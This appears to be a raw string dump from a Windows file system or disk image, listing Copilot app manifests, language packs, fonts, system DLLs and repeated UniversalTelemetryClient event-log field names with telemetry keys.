dev.identity_helper.exe.manifest dev.identity_helper.exe.manifest dev.identity_helper.exe.manifest DEVIDE~1.MAN dev.identity_helper.exe.manifest -internal.copilot.identity_helper.exe.manifest -internal.copilot.identity_helper.exe.manifest ty_helper.exe.manifest %internal.identity_helper.exe.manifest %internal.identity_helper.exe.manifest %internal.identity_helper.exe.manifest INTERN~2.MAN internal.identity_helper.exe.manifest resources.pri.DATA resources.pri RESOUR~1.PRI resources.pri +stable.copilot.identity_helper.exe.manifest0 +stable.copilot.identity_helper.exe.manifest _helper.exe.manifest #stable.identity_helper.exe.manifest0 #stable.identity_helper.exe.manifest _helper.exe.manifest nifest e.manifest COPILO~1.MSI 2copilot.identity_helper.Sparse.Dev.msixbundle.DATA -copilot.identity_helper.Sparse.Dev.msixbundle ID1071~1.MSI 'identity_helper.Sparse.Stable.msix.DATA "identity_helper.Sparse.Stable.msix rse.Stable.msix.DATA copilot_setup.exe copilot_setup.exe learning_tools.dll learning_tools.dll libEGL.dll libEGL.dll libEGL.dll libEGL.dll libGLESv2.dll libGLESv2.dll af.pak.DATA0 af.pak af.pak.DATA0 af.pak af.pak af.pak am.pak.DATA0 am.pak am.pak.DATA0 am.pak am.pak am.pak ar.pak.DATA0 ar.pak ar.pak.DATA0 ar.pak ar.pak ar.pak as.pak.DATA0 as.pak as.pak.DATA0 as.pak as.pak as.pak az.pak.DATA0 az.pak az.pak.DATA0 az.pak az.pak az.pak bg.pak.DATA0 bg.pak bg.pak.DATA0 bg.pak bg.pak bg.pak bn-IN.pak.DATA bn-IN.pak bn-IN.pak.DATA bn-IN.pak bn-IN.pak bn-IN.pak #copilot_overlay_strings_am.pak.DATA0 copilot_overlay_strings_am.pak copilot_overlay_strings_am.pak #copilot_overlay_strings_ar.pak.DATA0 copilot_overlay_strings_ar.pak copilot_overlay_strings_ar.pak #copilot_overlay_strings_as.pak.DATA0 copilot_overlay_strings_as.pak copilot_overlay_strings_as.pak #copilot_overlay_strings_az.pak.DATA0 copilot_overlay_strings_az.pak copilot_overlay_strings_az.pak #copilot_overlay_strings_bg.pak.DATA0 copilot_overlay_strings_bg.pak copilot_overlay_strings_bg.pak &copilot_overlay_strings_bn-IN.pak.DATA &copilot_overlay_strings_bn-IN.pak.DATA !copilot_overlay_strings_bn-IN.pak #copilot_overlay_strings_bs.pak.DATA0 copilot_overlay_strings_bs.pak copilot_overlay_strings_bs.pak /copilot_overlay_strings_ca-Es-VALENCIA.pak.DATA *copilot_overlay_strings_ca-Es-VALENCIA.pak *copilot_overlay_strings_ca-Es-VALENCIA.pak #copilot_overlay_strings_ca.pak.DATA0 copilot_overlay_strings_ca.pak copilot_overlay_strings_ca.pak #copilot_overlay_strings_cs.pak.DATA0 copilot_overlay_strings_cs.pak copilot_overlay_strings_cs.pak #copilot_overlay_strings_cy.pak.DATA0 copilot_overlay_strings_cy.pak copilot_overlay_strings_cy.pak #copilot_overlay_strings_da.pak.DATA0 copilot_overlay_strings_da.pak copilot_overlay_strings_da.pak #copilot_overlay_strings_de.pak.DATA0 copilot_overlay_strings_de.pak copilot_overlay_strings_de.pak #copilot_overlay_strings_el.pak.DATA0 copilot_overlay_strings_el.pak copilot_overlay_strings_el.pak &copilot_overlay_strings_en-GB.pak.DATA &copilot_overlay_strings_en-GB.pak.DATA !copilot_overlay_strings_en-GB.pak &copilot_overlay_strings_en-US.pak.DATA &copilot_overlay_strings_en-US.pak.DATA !copilot_overlay_strings_en-US.pak 'copilot_overlay_strings_es-419.pak.DATA 'copilot_overlay_strings_es-419.pak.DATA0 "copilot_overlay_strings_es-419.pak #copilot_overlay_strings_es.pak.DATA0 copilot_overlay_strings_es.pak copilot_overlay_strings_es.pak #copilot_overlay_strings_et.pak.DATA0 copilot_overlay_strings_et.pak copilot_overlay_strings_et.pak #copilot_overlay_strings_eu.pak.DATA0 copilot_overlay_strings_eu.pak copilot_overlay_strings_eu.pak #copilot_overlay_strings_fa.pak.DATA0 copilot_overlay_strings_fa.pak copilot_overlay_strings_fa.pak #copilot_overlay_strings_fi.pak.DATA0 copilot_overlay_strings_fi.pak copilot_overlay_strings_fi.pak $copilot_overlay_strings_fil.pak.DATA copilot_overlay_strings_fil.pak0 copilot_overlay_strings_fil.pak &copilot_overlay_strings_fr-CA.pak.DATA &copilot_overlay_strings_fr-CA.pak.DATA !copilot_overlay_strings_fr-CA.pak arial.ttf arial.ttf WofCompressedData $DSC arial.ttf $DSC $DSC arialbd.ttf WofCompressedData $DSC arialbd.ttf0 arialbd.ttf WofCompressedData $DSC arialbd.ttf $DSC $DSC arialbi.ttf0 arialbi.ttf WofCompressedData $DSC arialbi.ttf WofCompressedData $DSC arialbi.ttf $DSC $DSC ariali.ttf WofCompressedData $DSC ariali.ttf $DSC $DSC ariali.ttf ariali.ttf WofCompressedData $DSC ariblk.ttf ariblk.ttf WofCompressedData $DSC bahnschrift.ttf0 BAHNSC~1.TTF bahnschrift.ttf WofCompressedData $DSC BioMDL2.ttf0 BioMDL2.ttf WofCompressedData $DSC BitMDL2.ttf0 BitMDL2.ttf WofCompressedData $DSC BitMDL2.ttf0 BitMDL2.ttf WofCompressedData $DSC calibrib.ttf calibrib.ttf WofCompressedData $DSC calibrib.ttf $DSC $DSC calibrib.ttf WofCompressedData $DSC calibrii.ttf calibrii.ttf WofCompressedData $DSC calibrii.ttf WofCompressedData $DSC calibrii.ttf $DSC $DSC calibril.ttf WofCompressedData $DSC calibril.ttf calibril.ttf WofCompressedData $DSC Candaraz.ttf Candaraz.ttf WofCompressedData $DSC CASCAD~1.TTF CascadiaCode.ttf WofCompressedData CASCAD~2.TTF CascadiaCodeItalic.ttf WofCompressedData CASCAD~3.TTF CascadiaMono.ttf WofCompressedData CASCAD~4.TTF CascadiaMonoItalic.ttf WofCompressedData CloudAnimation.ttf CLOUDA~1.TTF CloudAnimation.ttf WofCompressedData $DSC CLOUDA~1.TTF CloudAnimation.ttf CloudAnimation.ttf WofCompressedData $DSC comic.ttf comic.ttf WofCompressedData $DSC SEGOE-~3.TTF Segoe-Sans-Text-Light.ttf WofCompressedData SEGOEI~1.TTF SegoeIcons.ttf SegoeIcons.ttf WofCompressedData $DSC SEGOEI~1.TTF SegoeIcons.ttf $DSC $DSC segoepr.ttf0 segoepr.ttf WofCompressedData $DSC segoeprb.ttf segoeprb.ttf WofCompressedData $DSC segoesc.ttf0 segoesc.ttf WofCompressedData $DSC segoescb.ttf segoescb.ttf WofCompressedData $DSC segoeui.ttf0 segoeui.ttf WofCompressedData $DSC seguisli.ttf WofCompressedData $DSC SegUIVar.ttf SegUIVar.ttf WofCompressedData $DSC SegXbox2.ttf SegXbox2.ttf WofCompressedData SegXbox2.ttf WofCompressedData times.ttf $DSC $DSC times.ttf WofCompressedData $DSC times.ttf times.ttf WofCompressedData $DSC timesbd.ttf0 timesbd.ttf WofCompressedData $DSC timesbi.ttf0 timesbi.ttf WofCompressedData $DSC timesi.ttf WofCompressedData $DSC BTHHFE~1.SYS BthHfEnum.sys BthHfEnum.sys WofCompressedData $DSC timesi.ttf timesi.ttf WofCompressedData $DSC ebrima.ttfo ebrimabd.ttf ega40737.fon ega40850.fon ega40852.fon ega40857.fon ega40866.fon ega40869.fon ega40woa.fon ega80737.fon ega80850.fon ega80852.fon ega80857.fon ega80866.fon ega80869.fon ega80woa.fon fms_metadata.xml framd.ttffo framdit.ttf Gabriola.ttf gadugi.ttfo gadugib.ttf georgia.ttf georgiab.ttf georgiai.ttf georgiaz.ttf h8514fix.fon h8514oem.fon h8514sys.fon himalaya.ttfV vga775.fon vga850.fon vga852.fon vga855.fon vga857.fon vga860.fon 85f1256.fon c8514sys.fon cga40852.fon consolaz.ttf dosapp.fon hvgafix.fon msgothic.ttc seguibl.ttf serifet.fon smallfg.fon sseriffr.fondat vga861.fon sserifft.fondat StaticCache.dat svgafix.fon svgasys.fon sylfaen.ttf symbol.ttf tahoma.ttf tahomabd.ttf taile.ttfn taileb.ttf times.ttfn timesbd.ttf timesbi.ttf timesi.ttf trebuc.ttf trebucbd.ttf trebucbi.ttf trebucit.ttf verdana.ttf verdanab.ttf verdanai.ttf verdanaz.ttf vga737.fon vga775.fon vga850.fon vga852.fon vga855.fon vga857.fon vga860.fon twinapi.dll0 twinapi.dll WofCompressedData $DSC twinapi.dll WofCompressedData $DSC TWINAP~1.DLL twinapi.appcore.dll0 twinapi.appcore.dll WofCompressedData $DSC $DSC TWINAP~1.DLL twinapi.appcore.dll WofCompressedData $DSC TWINAP~1.DLL twinapi.appcore.dll0 twinapi.appcore.dll WofCompressedData $DSC $DSC TWINAP~1.DLL twinapi.appcore.dll WofCompressedData $DSC TwinSxS.dll0 TwinSxS.dll WofCompressedData $DSC twinui.dll twinui.dll WofCompressedData $DSC ubpm.dll WofCompressedData $DSC UcmCx.dll $DSC $DSC UcmCx.dll UcmCx.dll WofCompressedData $DSC WofCompressedData $DSC UCRTBA~1.DLL ucrtbase_clr0400.dll $DSC UIAMAN~1.DLL UiaManager.dll WofCompressedData $DSC UIAMAN~1.DLL UiaManager.dll UiaManager.dll WofCompressedData $DSC $DSC UIAMAN~1.DLL UiaManager.dll WofCompressedData $DSC UIANIM~1.DLL UIAnimation.dll0 UIAnimation.dll WofCompressedData $DSC sysglobl.dll sysglobl.dll sysglobl.dll WofCompressedData $DSC System.dll System.dll System.dll WofCompressedData $DSC System.Activities.dll SYSTEM~1.DLL System.Activities.dll WofCompressedData $DSC 'System.Activities.Core.Presentation.dll0 SYSTEM~1.DLL System.Activities.Core.Presentation.dll WofCompressedData $DSC 'System.ComponentModel.TypeConverter.dll0 SYSTEM~1.DLL System.ComponentModel.TypeConverter.dll WofCompressedData $DSC System.Configuration.dll SYSTEM~1.DLL System.Configuration.dll WofCompressedData $DSC System.Configuration.Install.dll SYSTEM~1.DLL System.Configuration.Install.dll WofCompressedData $DSC System.Console.dll SYSTEM~1.DLL System.Console.dll WofCompressedData $DSC System.Core.dll0 SYSTEM~1.DLL System.Core.dll WofCompressedData $DSC UIMANA~1.DLL UIManagerBrokerps.dll UIManagerBrokerps.dll WofCompressedData $DSC UIMANA~1.DLL UIManagerBrokerps.dll UIManagerBrokerps.dll WofCompressedData $DSC UIMANA~1.DLL UIManagerBrokerps.dll WofCompressedData $DSC umpodev.dll0 umpodev.dll WofCompressedData $DSC umpoext.dll0 umpoext.dll WofCompressedData $DSC umpoext.dll $DSC $DSC umpowmi.dll0 umpowmi.dll WofCompressedData $DSC System.Data.Services.Design.dll0 SYSTEM~1.DLL System.Data.Services.Design.dll WofCompressedData $DSC System.Data.SqlXml.dll SYSTEM~1.DLL System.Data.SqlXml.dll WofCompressedData $DSC System.Deployment.dll System.Deployment.dll System.Deployment.dll WofCompressedData $DSC unbcl.dll unbcl.dll WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational EventData Data Environment Status ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational Environment OldInfo NewInfo SettingAuthority ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational Environment State ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational Environment IKey DiskSizeInBytes DailyUploadQuotaInBytes HRESULT ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational OldLevel NewLevel Source Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational Environment EventsUploaded EventsDropped LastEventlogWrittenTime ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-8255342a9a4d4b069b7adbf4798cf544-bf74f026-b3db-4745-a135-a4ad2ba90b51-7489 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-faab4ead691e451eb230afc98a28e0f2-4089b390-5e4a-4a54-ac5c-6be4f2ea9321-7247 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-4bb4d6f7cafc4e9292f972dca2dcde42-bd019ee8-e59c-4b0f-a02c-84e72157a3ef-7485 Microsoft-Windows-UniversalTelemetryClient Microsoft-Windows-UniversalTelemetryClient/Operational ServiceHost P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230 WofCompressedData $DSC mrxsmb.sys.mui MRXSMB~1.MUI mrxsmb.sys.mui WofCompressedData $DSC MRXSMB~1.MUI mrxsmb.sys.mui $DSC msacm32.dll.mui0 MSACM3~1.MUI msacm32.dll.mui WofCompressedData $DSC msadp32.acm.mui0 MSADP3~1.MUI msadp32.acm.mui $DSC MSV1_0~1.MUI msv1_0.dll.mui $DSC mswsock.dll.mui0 MSWSOC~1.MUI mswsock.dll.mui WofCompressedData $DSC WofCompressedData $DSC msxml3r.dll.mui WofCompressedData $DSC WofCompressedData $DSC msxml6r.dll.mui WofCompressedData $DSC NDADMI~1.MUI ndadmin.exe.mui $DSC ndis.sys.mui NDISSY~1.MUI $DSC ndis.sys.mui ndis.sys.mui NDISSY~1.MUI WofCompressedData $DSC ndisuio.sys.mui0 NDISUI~1.MUI ndisuio.sys.mui $DSC ws2help.dll $DSC WSAIFabricHost.dll WSAIFA~1.DLL WSAIFabricHost.dll WofCompressedData $DSC $DSC wscapi.dll wscapi.dll WofCompressedData $DSC wscapi.dll wscapi.dll WofCompressedData $DSC WSHHYP~1.DLL wshhyperv.dll wshhyperv.dll WofCompressedData $DSC wshqos.dll $DSC wshqos.dll wshqos.dll WofCompressedData $DSC wshqos.dll wshqos.dll WofCompressedData $DSC WsmRes.dll WsmRes.dll WofCompressedData $DSC WsmRes.dll WsmRes.dll WofCompressedData $DSC WsmRes.dll WofCompressedData $DSC WsmRes.dll $DSC wtdccm.dll wtdccm.dll WofCompressedData $DSC Windows.Networking.Connectivity.dll0 #Windows.Networking.Connectivity.dll WofCompressedData $DSC Windows.Networking.Connectivity.dll0 #Windows.Networking.Connectivity.dll WofCompressedData $DSC Windows.Networking.HostName.dll0 Windows.Networking.HostName.dll WofCompressedData $DSC Windows.Security.Authentication.OnlineId.dll ,Windows.Security.Authentication.OnlineId.dll WofCompressedData $DSC Windows.Security.Authentication.OnlineId.dll ,Windows.Security.Authentication.OnlineId.dll WofCompressedData $DSC Windows.Security.Authentication.Web.Core.dll ,Windows.Security.Authentication.Web.Core.dll WofCompressedData $DSC Windows.Security.Authentication.Web.Core.dll ,Windows.Security.Authentication.Web.Core.dll WofCompressedData $DSC Windows.Security.Integrity.dll 